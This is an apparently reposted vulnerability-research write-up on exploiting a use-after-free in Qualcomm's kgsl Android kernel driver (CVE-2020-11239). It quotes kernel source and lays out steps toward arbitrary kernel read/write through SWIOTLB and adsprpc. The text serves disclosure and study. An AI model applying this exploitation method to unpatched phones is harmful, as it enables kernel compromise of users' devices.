One day short of a full chain: Part 1 — Android Kernel arbitrary code execution

Android Kernel arbitrary code execution

Original text by Man Yue Mo

In this series of posts, I’ll exploit three bugs that I reported last year: a use-after-free in the renderer of Chrome, a Chromium sandbox escape that was reported and fixed while it was still in beta, and a use-after-free in the Qualcomm msm kernel. Together, these three bugs form an exploit chain that allows remote kernel code execution by visiting a malicious website in the beta version of Chrome. While the full chain itself only affects beta version of Chrome, both the renderer RCE and kernel code execution existed in stable versions of the respective software. All of these bugs had been patched for quite some time, with the last one patched on the first of January.

Vulnerabilities used in the series

The three vulnerabilities that I’m going to use are the following. To achieve arbitrary kernel code execution from a compromised beta version of Chrome, I’ll use CVE-2020-11239, which is a use-after-free in the kgsl driver in the Qualcomm msm kernel. This vulnerability was reported in July 2020 to the Android security team as A-161544755 (GHSL-2020-375) and was patched in the Januray Bulletin. In the security bulletin, this bug was mistakenly associated with A-168722551, although the Android security team has since confirmed to acknowledge me as the original reporter of the issue. (However, the acknowledgement page had not been updated to reflect this at the time of writing.) For compromising Chrome, I’ll use CVE-2020-15972, a use-after-free in web audio to trigger a renderer RCE. This is a duplicate bug, for which an anonymous researcher reported about three weeks before I reported it as 1125635 (GHSL-2020-167). To escape the Chrome sandbox and gain control of the browser process, I’ll use CVE-2020-16045, which was reported as 1125614 (GHSL-2020-165). While the exploit uses a component that was only enabled in the beta version of Chrome, the bug would probably have made it to the stable version and be exploitable if it weren’t reported. Interestingly, the renderer bug CVE-2020-15972 was fixed in version 86.0.4240.75, the same version where the sandbox escape bug would have made into stable version of Chrome (if not reported), so these two bugs literally missed each other by one day to form a stable full chain.

Qualcomm kernel vulnerability

The vulnerability used in this post is a use-after-free in the kernel graphics support layer (kgsl) driver. This driver is used to provide an interface for apps in the userland to communicate with the Adreno gpu (the gpu that is used on Qualcomm’s snapdragon chipset). As it is necessary for apps to access this driver to render themselves, this is one of the few drivers that can be reached from third-party applications on all phones that use Qualcomm chipsets. The vulnerability itself can be triggered on all of these phones that have a kernel version 4.14 or above, which should be the case for many mid-high end phones released after late 2019, for example, Pixel 4, Samsung Galaxy S10, S20, and A71. The exploit in this post, however, could not be launched directly from a third party App on Pixel 4 due to further SELinux restrictions, but it can be launched from third party Apps on Samsung phones and possibly some others as well. The exploit in this post is largely developed with a Pixel 4 running AOSP built from source and then adapted to a Samsung Galaxy A71. With some adjustments of parameters, it should probably also work on flagship models like Samsung Galaxy S10 and S20 (Snapdragon version), although I don’t have those phones and have not tried it out myself.

The vulnerability here concerns the ioctl calls IOCTL_KGSL_GPUOBJ_IMPORT and IOCTL_KGSL_MAP_USER_MEM. These calls are used by apps to create shared memory between itself and the kgsl driver.

When using these calls, the caller specifies a user space address in their process, the size of the shared memory, as well as the type of memory objects to create. After making the ioctl call successfully, the kgsl driver would map the user supplied memory into the gpu’s memory space and be able to access the user supplied memory. Depending on the type of the memory specified in the ioctl call parameter, different mechanisms are used by the kernel to map and access the user space memory.

The two different types of memory are KGSL_USER_MEM_TYPE_ADDR, which would ask kgsl to pin the user memory supplied and perform direct I/O on those memory (see, for example, Performing Direct I/O section here). The caller can also specify the memory type to be KGSL_USER_MEM_TYPE_ION, which would use a direct memory access (DMA) buffer (for example, Direct Memory Access section here) allocated by the ion allocator to allow the gpu to access the DMA buffer directly. We’ll look at the DMA buffer a bit more later as it is important to both the vulnerability and the exploit, but for now, we just need to know that there are two different types of memory objects that can be created from these ioctl calls. When using these ioctl, a kgsl_mem_entry object will first be created, and then the type of memory is checked to make sure that the kgsl_mem_entry is correctly populated. In a way, these ioctl calls act like constructors of kgsl_mem_entry:

long kgsl_ioctl_gpuobj_import(struct kgsl_device_private *dev_priv,
		unsigned int cmd, void *data)
    entry = kgsl_mem_entry_create();
	if (param->type == KGSL_USER_MEM_TYPE_ADDR)
		ret = _gpuobj_map_useraddr(dev_priv->device, private->pagetable,
			entry, param);
	else if (param->type == KGSL_USER_MEM_TYPE_DMABUF)
		ret = _gpuobj_map_dma_buf(dev_priv->device, private->pagetable,
			entry, param, &fd);
		ret = -ENOTSUPP;

In particular, when creating a kgsl_mem_entry with DMA type memory, the user supplied DMA buffer will be «attached» to the gpu, which will then allow the gpu to share the DMA buffer. The process of sharing a DMA buffer with a device on Android generally looks like this (see this for the general process of sharing a DMA buffer with a device):

  1. The user creates a DMA buffer using the ion allocator. On Android, ion is the concrete implementation of DMA buffers, so sometimes the terms are used interchangeably, as in the kgsl code here, in which KGSL_USER_MEM_TYPE_DMABUF and KGSL_USER_MEM_TYPE_ION refers to the same thing.
  2. The ion allocator will then allocate memory from the ion heap, which is a special region of memory seperated from the heap used by the kmalloc family of calls. I’ll cover more about the ion heap later in the post.
  3. The ion allocator will return a file descriptor to the user, which is used as a handle to the DMA buffer.
  4. The user can then pass this file descriptor to the device via an appropriate ioctl call.
  5. The device then obtains the DMA buffer from the file descriptor via dma_buf_get and uses dma_buf_attach to attach it to itself.
  6. The device uses dma_buf_map_attachment to obtain the sg_table of the DMA buffer, which contains the locations and sizes of the backing stores of the DMA buffer. It can then use it to access the buffer.
  7. After this, both the device and the user can access the DMA buffer. This means that the buffer can now be modified by both the cpu (by the user) and the device. So care must be taken to synchronize the cpu view of the buffer and the device view of the buffer. (For example, the cpu may cache the content of the DMA buffer and then the device modified its content, resulting in stale data in the cpu (user) view) To do this, the user can use DMA_BUF_IOCTL_SYNC call of the DMA buffer to synchronize the different views of the buffer before and after accessing it.

When the device is done with the shared buffer, it is important to call the functions dma_buf_unmap_attachmentdma_buf_detach, and dma_buf_put to perform the appropriate clean up.

In the case of sharing DMA buffer with the kgsl driver, the sg_table that belongs to the DMA buffer will be stored in the kgsl_mem_entry as the field sgt:

static int kgsl_setup_dma_buf(struct kgsl_device *device,
				struct kgsl_pagetable *pagetable,
				struct kgsl_mem_entry *entry,
				struct dma_buf *dmabuf)
	sg_table = dma_buf_map_attachment(attach, DMA_TO_DEVICE);
	meta->table = sg_table;
	entry->priv_data = meta;
	entry->memdesc.sgt = sg_table;

On the other hand, in the case of a MAP_USER_MEM type memory object, the sg_table in memdesc.sgt is created and owned by the kgsl_mem_entry:

static int memdesc_sg_virt(struct kgsl_memdesc *memdesc, struct file *vmfile)
    //Creates an sg_table and stores it in memdesc->sgt
	ret = sg_alloc_table_from_pages(memdesc->sgt, pages, npages,
					0, memdesc->size, GFP_KERNEL);

As such, care must be taken with the ownership of memdesc->sgt when kgsl_mem_entry is destroyed. If the ioctl call somehow failed, then the memory object that is created will have to be destroyed. Depending on the type of the memory, the clean up logic will be different:

	if (param->type == KGSL_USER_MEM_TYPE_DMABUF) {
		entry->memdesc.sgt = NULL;


If we created an ION type memory object, then apart from the extra clean up that detaches the gpu from the DMA buffer, entry->memdesc.sgt is set to NULL before entering kgsl_sharedmem_free, which will free entry->memdesc.sgt:

void kgsl_sharedmem_free(struct kgsl_memdesc *memdesc)
	if (memdesc->sgt) {

	if (memdesc->pages)

So far, so good, everything is taken care of, but a closer look reveals that, when creating a KGSL_USER_MEM_TYPE_ADDR object, the code would first check if the user supplied address is allocated by the ion allocator, if so, it will create an ION type memory object instead.

static int kgsl_setup_useraddr(struct kgsl_device *device,
		struct kgsl_pagetable *pagetable,
		struct kgsl_mem_entry *entry,
		unsigned long hostptr, size_t offset, size_t size)
 	/* Try to set up a dmabuf - if it returns -ENODEV assume anonymous */
	ret = kgsl_setup_dmabuf_useraddr(device, pagetable, entry, hostptr);
	if (ret != -ENODEV)
		return ret;

	/* Okay - lets go legacy */
	return kgsl_setup_anon_useraddr(pagetable, entry,
		hostptr, offset, size);

While there is nothing wrong with using a DMA mapping when the user supplied memory is actually a dma buffer (allocated by ion), if something goes wrong during the ioctl call, the clean up logic will be wrong and memdesc->sgt will be incorrectly deleted. Fortunately, before the ION ABI change introduced in the 4.12 kernel, the now freed sg_table cannot be reached again. However, after this change, the sg_table gets added to the dma_buf_attachment when a DMA buffer is attached to a device, and the dma_buf_attachment is then stored in the DMA buffer.

static int ion_dma_buf_attach(struct dma_buf *dmabuf, struct device *dev,
                                struct dma_buf_attachment *attachment)
        table = dup_sg_table(buffer->sg_table);
        a->table = table;                          //<---- c. duplicated table stored in attachment, which is the output of dma_buf_attach in a.
        list_add(&a->list, &buffer->attachments);  //<---- d. attachment got added to dma_buf::attachments
        return 0;

This will normally be removed when the DMA buffer is detached from the device. However, because of the wrong clean up logic, the DMA buffer will never be detached in this case, (kgsl_destroy_ion is not called) meaning that after the ioctl call failed, the user supplied DMA buffer will end up with an attachment that contains a free’d sg_table. This sg_table will then be used any time when the DMA_BUF_IOCTL_SYNC call is used on the buffer:

static int __ion_dma_buf_begin_cpu_access(struct dma_buf *dmabuf,
                                          enum dma_data_direction direction,
                                          bool sync_only_mapped)
        list_for_each_entry(a, &buffer->attachments, list) {
                if (sync_only_mapped)
                        tmp = ion_sgl_sync_mapped(a->dev, a->table->sgl,        //<--- use-after-free of a->table
                                                  direction, true);
                        dma_sync_sg_for_cpu(a->dev, a->table->sgl,              //<--- use-after-free of a->table
                                            a->table->nents, direction);

There are actually multiple paths in this ioctl that can lead to the use of the sg_table in different ways.

Getting a free’d object with a fake out-of-memory error

While this looks like a very good use-after-free that allows me to hold onto a free’d object and use it at any convenient time, as well as in different ways, to trigger it, I first need to cause the IOCTL_KGSL_GPUOBJ_IMPORT or IOCTL_KGSL_MAP_USER_MEM to fail and to fail at the right place. The only place where a use-after-free can happen in the IOCTL_KGSL_GPUOBJ_IMPORT call is when it fails at kgsl_mem_entry_attach_process:

long kgsl_ioctl_gpuobj_import(struct kgsl_device_private *dev_priv,
		unsigned int cmd, void *data)
	kgsl_memdesc_init(dev_priv->device, &entry->memdesc, param->flags);
	if (param->type == KGSL_USER_MEM_TYPE_ADDR)
		ret = _gpuobj_map_useraddr(dev_priv->device, private->pagetable,
			entry, param);
	else if (param->type == KGSL_USER_MEM_TYPE_DMABUF)
		ret = _gpuobj_map_dma_buf(dev_priv->device, private->pagetable,
			entry, param, &fd);
		ret = -ENOTSUPP;

	if (ret)
		goto out;

	ret = kgsl_mem_entry_attach_process(dev_priv->device, private, entry);
	if (ret)
		goto unmap;

This is the last point where the call can fail. Any earlier failure will also not result in kgsl_sharedmem_free being called. One way that this can fail is if kgsl_mem_entry_track_gpuaddr failed to reserve memory in the gpu due to out-of-memory error:

static int kgsl_mem_entry_attach_process(struct kgsl_device *device,
		struct kgsl_process_private *process,
		struct kgsl_mem_entry *entry)
	ret = kgsl_mem_entry_track_gpuaddr(device, process, entry);
	if (ret) {
		return ret;

Of course, to actually cause an out-of-memory error would be rather difficult and unreliable, as well as risking to crash the device by exhausting the memory.

If we look at how a user provided address is mapped to gpu address in kgsl_iommu_get_gpuaddr, (which is called by kgsl_mem_entry_track_gpuaddr, note that these are actually user space gpu address in the sense that they are used by the gpu with a user process specific pagetable to resolve the actual addresses, so different processes can have the same gpu addresses that resolved to different actual locations, in the same way that user space addresses can be the same in different processes but resolved to different locations) then we see that an alignment parameter is taken from the flags of the kgsl_memdesc:

static int kgsl_iommu_get_gpuaddr(struct kgsl_pagetable *pagetable,
		struct kgsl_memdesc *memdesc)
	unsigned int align;
    //Uses `memdesc->flags` to compute the alignment parameter
	align = max_t(uint64_t, 1 << kgsl_memdesc_get_align(memdesc),

and the flags of memdesc is taken from the flags parameter when the ioctl is called:

long kgsl_ioctl_gpuobj_import(struct kgsl_device_private *dev_priv,
		unsigned int cmd, void *data)
	kgsl_memdesc_init(dev_priv->device, &entry->memdesc, param->flags);

When mapping memory to the gpu, this align value will be used to ensure that the memory address is mapped to a value that is aligned (i.e. multiples of) to align. In particular, the gpu address will be the next multiple of align that is not already occupied. If no such value exist, then an out-of-memory error will occur. So by using a large align value in the ioctl call, I can easily use up all the addresses that are aligned with the value that I specified. For example, if I set align to be 1 << 31, then there will only be two addresses that aligns with align (0 and 1 << 31). So after just mapping one memory object (which can be as small as 4096 bytes), I’ll get an out-of-memory error the next time I use the ioctl call. This will then give me a free’d sg_table in the DMA buffer. By allocating another object of similar size in the kernel, I can then replace this sg_table with an object that I control. I’ll go through the details of how to do this later, but for now, let’s assume I am able to do this and have complete control of all the fields in this sg_table and see what this bug potentially allows me to do.

The primitives of the vulnerability

As mentioned before, there are different ways to use the free’d sg_table via the DMA_BUF_IOCTL_SYNC ioctl call:

static long dma_buf_ioctl(struct file *file,
			  unsigned int cmd, unsigned long arg)
	switch (cmd) {
		if (sync.flags & DMA_BUF_SYNC_END)
			if (sync.flags & DMA_BUF_SYNC_USER_MAPPED)
				ret = dma_buf_end_cpu_access_umapped(dmabuf,
				ret = dma_buf_end_cpu_access(dmabuf, dir);
			if (sync.flags & DMA_BUF_SYNC_USER_MAPPED)
				ret = dma_buf_begin_cpu_access_umapped(dmabuf,
				ret = dma_buf_begin_cpu_access(dmabuf, dir);

		return ret;

These will ended up calling the functions __ion_dma_buf_begin_cpu_access or __ion_dma_buf_end_cpu_access that provide the concrete implemenations.

As explained before, the DMA_BUF_IOCTL_SYNC call is meant to synchronize the cpu view of the DMA buffer and the device (in this case, gpu) view of the DMA buffer. For the kgsl device, the synchronization is implemented in lib/swiotlb.c. The various different ways of syncing the buffer will more or less follow a code path like this:

  1. The scatterlist in the free’d sg_table is iterated in a loop;
  2. In each iteration, the dma_address and dma_length of the scatterlist is used to identify the location and size of the memory for synchronization.
  3. The function swiotlb_sync_single is called to perform the actual synchronization of the memory.

So what does swiotlb_sync_single do? It first checks whether the dma_address (dev_addrdma_to_phys for kgsl is just the identity function) in the scatterlist is an address of a swiotlb_buffer using the is_swiotlb_buffer function, if so, it calls swiotlb_tlb_sync_single, otherwise, it will call dma_mark_clean.

static void
swiotlb_sync_single(struct device *hwdev, dma_addr_t dev_addr,
		    size_t size, enum dma_data_direction dir,
		    enum dma_sync_target target)
	phys_addr_t paddr = dma_to_phys(hwdev, dev_addr);

	BUG_ON(dir == DMA_NONE);

	if (is_swiotlb_buffer(paddr)) {
		swiotlb_tbl_sync_single(hwdev, paddr, size, dir, target);

	if (dir != DMA_FROM_DEVICE)

	dma_mark_clean(phys_to_virt(paddr), size);

The function dma_mark_clean simply flushes the cpu cache that corresponds to dev_addr and keeps the cpu cache in sync with the actual memory. I wasn’t able to exploit this path and so I’ll concentrate on the swiotlb_tbl_sync_single path.

void swiotlb_tbl_sync_single(struct device *hwdev, phys_addr_t tlb_addr,
			     size_t size, enum dma_data_direction dir,
			     enum dma_sync_target target)
	int index = (tlb_addr - io_tlb_start) >> IO_TLB_SHIFT;
	phys_addr_t orig_addr = io_tlb_orig_addr[index];

	if (orig_addr == INVALID_PHYS_ADDR)                            //<--------- a. checks address valid
	orig_addr += (unsigned long)tlb_addr & ((1 << IO_TLB_SHIFT) - 1);

	switch (target) {
		if (likely(dir == DMA_FROM_DEVICE || dir == DMA_BIDIRECTIONAL))
			swiotlb_bounce(orig_addr, tlb_addr,
				       size, DMA_FROM_DEVICE);

After a further check of the address (tlb_addr) against an array io_tlb_orig_addr, the function swiotlb_bounce is called.

static void swiotlb_bounce(phys_addr_t orig_addr, phys_addr_t tlb_addr,
			   size_t size, enum dma_data_direction dir)
	unsigned char *vaddr = phys_to_virt(tlb_addr);
	if (PageHighMem(pfn_to_page(pfn))) {

		while (size) {
			sz = min_t(size_t, PAGE_SIZE - offset, size);

			buffer = kmap_atomic(pfn_to_page(pfn));
			if (dir == DMA_TO_DEVICE)
				memcpy(vaddr, buffer + offset, sz);
				memcpy(buffer + offset, vaddr, sz);
	} else if (dir == DMA_TO_DEVICE) {
		memcpy(vaddr, phys_to_virt(orig_addr), size);
	} else {
		memcpy(phys_to_virt(orig_addr), vaddr, size);

As tlb_addr and size comes from a scatterlist in the free’d sg_table, it becomes clear that I may be able to call a memcpy with a partially controlled source/destination (tlb_addr comes from scatterlist but is constrained as it needs to pass some checks, while size is unchecked). This could potentially give me a very strong relative read/write primitive. The questions are:

  1. What is the swiotlb_buffer and is it possible to pass the is_swiotlb_buffer check without a seperate info leak?
  2. What is the io_tlb_orig_addr and how to pass that test?
  3. How much control do I have with the orig_addr, which comes from io_tlb_orig_addr?

The Software Input Output Translation Lookaside Buffer

The Software Input Output Translation Lookaside Buffer (SWIOTLB), sometimes known as the bounce buffer, is a memory region with physical address smaller than 32 bits. It seems to be very rarely used in modern Android phones and as far as I can gather, there are two main uses of it:

  1. It is used when a DMA buffer that has a physical address higher than 32 bits is attached to a device that can only access 32 bit addresses. In this case, the SWIOTLB is used as a proxy of the DMA buffer to allow access of it from the device. This is the code path that we have been looking at. As this would mean an extra read/write operation between the DMA buffer and the SWIOTLB every time a synchronization between the device and DMA buffer happens, it is not an ideal scenario but is rather only used as a last resort.
  2. To use as a layer of protection to avoid untrusted usb devices from accessing DMA memory directly (See here)

As the second usage is likely to involve plugging a usb device to a phone and thus requires physical access. I’ll only cover the first usage here, which will also answer the three questions in the previous section.

To begin with, let’s take a look at the location of the SWIOTLB. This is used by the check is_swiotlb_buffer to determine whether a physical address belongs to the SWIOTLB:

int is_swiotlb_buffer(phys_addr_t paddr)
	return paddr >= io_tlb_start && paddr < io_tlb_end;

The global variables io_tlb_start and io_tlb_end marks the range of the SWIOTLB. As mentioned before, the SWIOTLB needs to be an address smaller than 32 bits. How does the kernel guarantee this? By allocating the SWIOTLB very early during boot. From a rooted device, we can see that the SWIOTLB is allocated nearly right at the start of the boot. This is an excerpt of the kernel log during the early stage of booting a Pixel 4:

[    0.000000] c0      0 software IO TLB: swiotlb init: 00000000f3800000
[    0.000000] c0      0 software IO TLB: mapped [mem 0xf3800000-0xf3c00000] (4MB)

Here we see that io_tlb_start is 0xf3800000 while io_tlb_end is 0xf3c00000.

While allocating the SWIOTLB early makes sure that the its address is below 32 bits, it also makes it predictable. In fact, the address only seems to depend on the amount of memory configured for the SWIOTLB, which is passed as the swiotlb boot parameter. For Pixel 4, this is swiotlb=2048 (which seems to be a common parameter and is the same for Galaxy S10 and S20) and will allocate 4MB of SWIOTLB (allocation size = swiotlb * 2048) For the Samsung Galaxy A71, the parameter is set to swiotlb=1, which allocates the minimum amount of SWIOTLB (0x40000 bytes)

[    0.000000] software IO TLB: mapped [mem 0xfffbf000-0xfffff000] (0MB)

The SWIOTLB will be at the same location when changing swiotlb to 1 on Pixel 4.

This provides us with a predicable location for the SWIOTLB to pass the is_swiotlb_buffer test.

Let’s take a look at io_tlb_orig_addr next. This is an array used for storing addresses of DMA buffers that are attached to devices with addresses that are too high for the device to access:

swiotlb_map_sg_attrs(struct device *hwdev, struct scatterlist *sgl, int nelems,
		     enum dma_data_direction dir, unsigned long attrs)
	for_each_sg(sgl, sg, nelems, i) {
		phys_addr_t paddr = sg_phys(sg);
		dma_addr_t dev_addr = phys_to_dma(hwdev, paddr);

		if (swiotlb_force == SWIOTLB_FORCE ||
		    !dma_capable(hwdev, dev_addr, sg->length)) {
            //device cannot access dev_addr, so use SWIOTLB as a proxy
			phys_addr_t map = map_single(hwdev, sg_phys(sg),
						     sg->length, dir, attrs);

In this case, map_single will store the address of the DMA buffer (dev_addr) in the io_tlb_orig_addr. This means that if I can cause a SWIOTLB mapping to happen by attaching a DMA buffer with high address to a device that cannot access it (!dma_capable), then the orig_addr in memcpy of swiotlb_bounce will point to a DMA buffer that I control, which means I can read and write its content with complete control.

static void swiotlb_bounce(phys_addr_t orig_addr, phys_addr_t tlb_addr,
			   size_t size, enum dma_data_direction dir)
    //orig_addr is the address of a DMA buffer uses the SWIOTLB mapping
	} else if (dir == DMA_TO_DEVICE) {
		memcpy(vaddr, phys_to_virt(orig_addr), size);
	} else {
		memcpy(phys_to_virt(orig_addr), vaddr, size);

It now becomes clear that, if I can allocate a SWIOTLB, then I will be able to perform both read and write of a region behind the SWIOTLB region with arbitrary size (and completely controlled content in the case of write). In what follows, this is what I’m going to use for the exploit.

To summarize, this is how synchronization works for DMA buffer shared with the implementation in /lib/swiotlb.c.

When the device is capable of accessing the DMA buffer’s address, synchronization will involve flushing the cpu cache:


When the device cannot access the DMA buffer directly, a SWIOTLB is created as an intermediate buffer to allow device access. In this case, the io_tlb_orig_addr array is served as a look up table to locate the DMA buffer from the SWIOTLB.


In the use-after-free scenario, I can control the size of the memcpy between the DMA buffer and SWIOTLB in the above figure and that turns into a read/write primitive:


Provided I can control the scatterlist that specifies the location and size of the SWIOTLB, I can specify the size to be larger than the original DMA buffer to cause an out-of-bounds access (I still need to point to the SWIOTLB to pass the checks). Of course, it is no good to just cause out-of-bounds access, I need to be able to read back the out-of-bounds data in the case of a read access and control the data that I write in the case of a write access. This issue will be addressed in the next section.

Allocating a Software Input Output Translation Lookaside Buffer

As it turns out, the SWIOTLB is actually very rarely used. For one or another reason, either because most devices are capable of reading 64 bit addresses, or that the DMA buffer synchronization is implemented with arm_smmu rather than swiotlb, I only managed to allocate a SWIOTLB using the adsprpc driver. The adsprpc driver is used for communicating with the DSP (digital signal processor), which is a seperate processor on Qualcomm’s snapdragon chipset. The DSP and the adsprpc itself is a very vast topic that had many security implications, and it is out of the scope of this post.

Roughly speaking, the DSP is a specialized chip that is optimized for certain computationally intensive tasks such as image, video, audio processing and machine learning. The cpu can offload these tasks to the DSP to improve overall performance. However, as the DSP is a different processor altogether, an RPC mechanism is needed to pass data and instructions between the cpu and the DSP. This is what the adsprpc driver is for. It allows the kernel to communicate with the DSP (which is running on a separate kernel and OS altogether, so this is truly «remote») to invoke functions, allocate memory and retrieve results from the DSP.

While access to the adsprpc driver from third-party apps is not granted in the default SELinux settings and as such, I’m unable to use it on Google’s Pixel phones, it is still enabled on many different phones running Qualcomm’s snapdragon SoC (system on chip). For example, Samsung phones allow accesses of adsprpc from third party Apps, which allows the exploit in this post to be launched directly from a third party App or from a compromised beta version of Chrome (or any other compromised App). On phones which adsprpc accesses is not allowed, such as the Pixel 4, an additional bug that compromises a service that can access adsprpc is required to launch this exploit. There are various services that can access the adsprpc driver and reachable directly from third party Apps, such as the hal_neuralnetworks, which is implemented as a closed source service in android.hardware.neuralnetworks@1.x-service-qti. I did not investigate this path, so I’ll assume Samsung phones in the rest of this post.

With adsprpc, the most obvious ioctl to use for allocating SWIOTLB is the FASTRPC_IOCTL_MMAP, which calls fastrpc_mmap_create to attach a DMA buffer that I supplied:

static int fastrpc_mmap_create(struct fastrpc_file *fl, int fd,
	unsigned int attr, uintptr_t va, size_t len, int mflags,
	struct fastrpc_mmap **ppmap)
	} else if (mflags == FASTRPC_DMAHANDLE_NOMAP) {
		VERIFY(err, !IS_ERR_OR_NULL(map->buf = dma_buf_get(fd)));
		if (err)
			goto bail;
		VERIFY(err, !dma_buf_get_flags(map->buf, &flags));
		map->attach->dma_map_attrs |= DMA_ATTR_SKIP_CPU_SYNC;

However, the call seems to always fail when fastrpc_mmap_on_dsp is called, which will then detach the DMA buffer from the adsprpc driver and remove the SWIOTLB that was just allocated. While it is possible to work with a temporary buffer like this by racing with multiple threads, it would be better if I can allocate a permanent SWIOTLB.

Another possibility is to use the get_args function, which will also invoke fastrpc_mmap_create:

static int get_args(uint32_t kernel, struct smq_invoke_ctx *ctx)
	for (i = bufs; i < bufs + handles; i++) {
		if (ctx->attrs && (ctx->attrs[i] & FASTRPC_ATTR_NOMAP))
		VERIFY(err, !fastrpc_mmap_create(ctx->fl, ctx->fds[i],
				FASTRPC_ATTR_NOVA, 0, 0, dmaflags,

The get_args function is used in the various FASTRPC_IOCTL_INVOKE_* calls for passing arguments to invoke functions on the DSP. Under normal circumstances, a corresponding put_args will be called to detach the DMA buffer from the adsprpc driver. However, if the remote invocation failed, the call to put_args will be skipped and the clean up will be deferred to the time when the adsprpc file is close:

static int fastrpc_internal_invoke(struct fastrpc_file *fl, uint32_t mode,
				   uint32_t kernel,
				   struct fastrpc_ioctl_invoke_crc *inv)
	if (REMOTE_SCALARS_LENGTH(ctx->sc)) {
		PERF(fl->profile, GET_COUNTER(perf_counter, PERF_GETARGS),
		VERIFY(err, 0 == get_args(kernel, ctx));                  //<----- get_args
		if (err)
			goto bail;
	if (kernel) {
	} else {
		interrupted = wait_for_completion_interruptible(&ctx->work);
		VERIFY(err, 0 == (err = interrupted));
		if (err)
			goto bail;                                        //<----- invocation failed and jump to bail directly
	VERIFY(err, 0 == put_args(kernel, ctx, invoke->pra));    //<------ detach the arguments
	return err;

So by using FASTRPC_IOCTL_INVOKE_* with an invalid remote function, it is easy to allocate and keep the SWIOTLB alive until I choose to close the /dev/adsprpc-smd file that is used to make the ioctl call. This is the only part that the adsprpc driver is needed and we’re now set up to start writing the exploit.

Now that I can allocate SWIOTLB that maps to DMA buffers that I created, I can do the following to exploit the out-of-bounds read/write primitive from the previous section.

  1. First allocate a number of DMA buffers. By manipulating the ion heap, (which I’ll go through later in this post), I can place some useful data behind one of these DMA buffers. I will call this buffer DMA_1.
  2. Use the adsprpc driver to allocate SWIOTLB buffers associated with these DMA buffers. I’ll arrange it so that the DMA_1 occupies the first SWIOTLB (which means all other SWIOTLB will be allocated behind it), call this SWIOTLB_1. This can be done easily as SWIOTLB are simply allocated as a contiguous array.
  3. Use the read/write primitive in the previous section to trigger out-of-bounds read/write on DMA_1. This will either write the memory behind DMA_1 to the SWIOTLB behind SWIOTLB_1, or vice versa.
  4. As the SWIOTLB behind SWIOTLB_1 are mapped to the other DMA buffers that I controlled, I can use the DMA_BUF_IOCTL_SYNC ioctl of these DMA buffers to either read data from these SWIOTLB or write data to them. This translates into arbitrary read/write of memory behind DMA_1.

The following figure illustrates this with a simplified case of two DMA buffers.


Replacing the sg_table

So far, I planned an exploitation strategy based on the assumption that I already have control of the scatterlist sgl of the free’d sg_table. In order to actually gain control of it, I need to replace the free’d sg_table with a suitable object. This turns out to be the most complicated part of the exploit. While there are well-known kernel heap spraying techniques that allows us to replace a free’d object with controlled data (for example the sendmsg and setxattr), they cannot be applied directly here as the sgl of the free’d sg_table here needs to be a valid pointer that points to controlled data. Without a way to leak a heap address, I’ll not be able to use these heap spraying techniques to construct a valid object. With this bug alone, there is almost no hope of getting an info leak at this stage. The other alternative is to look for other suitable objects to replace the sg_table. A CodeQL query can be used to help looking for suitable objects:

from FunctionCall fc, Type t, Variable v, Field f, Type t2
where (fc.getTarget().hasName("kmalloc") or
       fc.getTarget().hasName("kzalloc") or
      exists(Assignment assign | assign.getRValue() = fc and
             assign.getLValue() = v.getAnAccess() and
             v.getType().(PointerType).refersToDirectly(t)) and
      t.getSize() < 128 and t.fromSource() and
      f.getDeclaringType() = t and
      (f.getType().(PointerType).refersTo(t2) and t2.getSize() <= 8) and
      f.getByteOffset() = 0
select fc, t, fc.getLocation()

In this query, I look for objects created via kmallockzalloc or kcalloc that are of size smaller than 128 (same bucket as sg_table) and have a pointer field as the first field. However, I wasn’t able to find a suitable object, although filename allocated in getname_flags came close:

struct filename *
getname_flags(const char __user *filename, int flags, int *empty)
	struct filename *result;
	if (unlikely(len == EMBEDDED_NAME_MAX)) {
		result = kzalloc(size, GFP_KERNEL);
		if (unlikely(!result)) {
			return ERR_PTR(-ENOMEM);
		result->name = kname;
		len = strncpy_from_user(kname, filename, PATH_MAX);

with name points to a user controlled string and can be reached using, for example, the mknod syscall. However, not being able to use null character turns out to be too much of a restriction here.

Just-in-time object replacement

Let’s take a look at how the free’d sg_table is used, say, in __ion_dma_buf_begin_cpu_access, it seems that at some point in the execution, the sgl field is taken from the sgl_table, and the sgl_table itself will no longer be used, but only the cached pointer value of sgl is used:

static int __ion_dma_buf_begin_cpu_access(struct dma_buf *dmabuf,
					  enum dma_data_direction direction,
					  bool sync_only_mapped)
		if (sync_only_mapped)
			tmp = ion_sgl_sync_mapped(a->dev, a->table->sgl,    //<------- `sgl` got passed, and `table` never used again
						  direction, true);
			dma_sync_sg_for_cpu(a->dev, a->table->sgl,
					    a->table->nents, direction);

While source code could be misleading as auto function inlining is common in kernel code (in fact ion_sgl_sync_mapped is inlined), the bottom line is that, at some point, the value of sgl will be cached in registry and the state of the original sg_table will not affect the code path anymore. So if I am able to first replace a->table with another sg_table, then deleting this new sg_table using sg_free_table will also cause the sgl to be deleted, but of course, there will be clean up logic that sets sgl to NULL. But what if I set up another thread to delete this new sg_table after sgl had already been cached in the registry? Then it won’t matter if sgl is set to NULL, because the value in the registry will still be pointing to the original scatterlist, and as this scatterlist is now free’d, this means I will now get a use-after-free of sgl directly in ion_sgl_sync_mapped. I can then use the sendmsg to replace it with controlled data. There is one major problem with this though, as the time between sgl being cached in registry and the time where it is used again is very short, it is normally not possible to fit the entire sg_table replacement sequence within such a short time frame, even if I race the slowest cpu core against the fastest.

To resolve this, I’ll use a technique by Jann Horn in Exploiting race conditions on [ancient] Linux, which turns out to still work like a charm on modern Android.

To ensure that each task(thread or process) has a fair share of the cpu time, the linux kernel scheduler can interrupt a running task and put it on hold, so that another task can be run. This kind of interruption and stopping of a task is called preemption (where the interrupted task is preempted). A task can also put itself on hold to allow other task to run, such as when it is waiting for some I/O input, or when it calls sched_yield(). In this case, we say that the task is voluntarily preempted. Preemption can happen inside syscalls such as ioctl calls as well, and on Android, tasks can be preempted except in some critical regions (e.g. holding a spinlock). This means that a thread running the DMA_BUF_IOCTL_SYNC ioctl call can be interrupted after the sgl field is cached in the registry and be put on hold. The default behavior, however, will not normally give us much control over when the preemption happens, nor how long the task is put on hold.

To gain better control in both these areas, cpu affinity and task priorities can be used. By default, a task is run with the priority SCHED_NORMAL, but a lower priority SCHED_IDLE, can also be set using the sched_setscheduler call (or pthread_setschedparam for threads). Furthermore, it can also be pinned to a cpu with sched_setaffinity, which would only allow it to run on a specific cpu. By pinning two tasks, one with SCHED_NORMAL priority and the other with SCHED_IDLE priority to the same cpu, it is possible to control the timing of the preemption as follows.

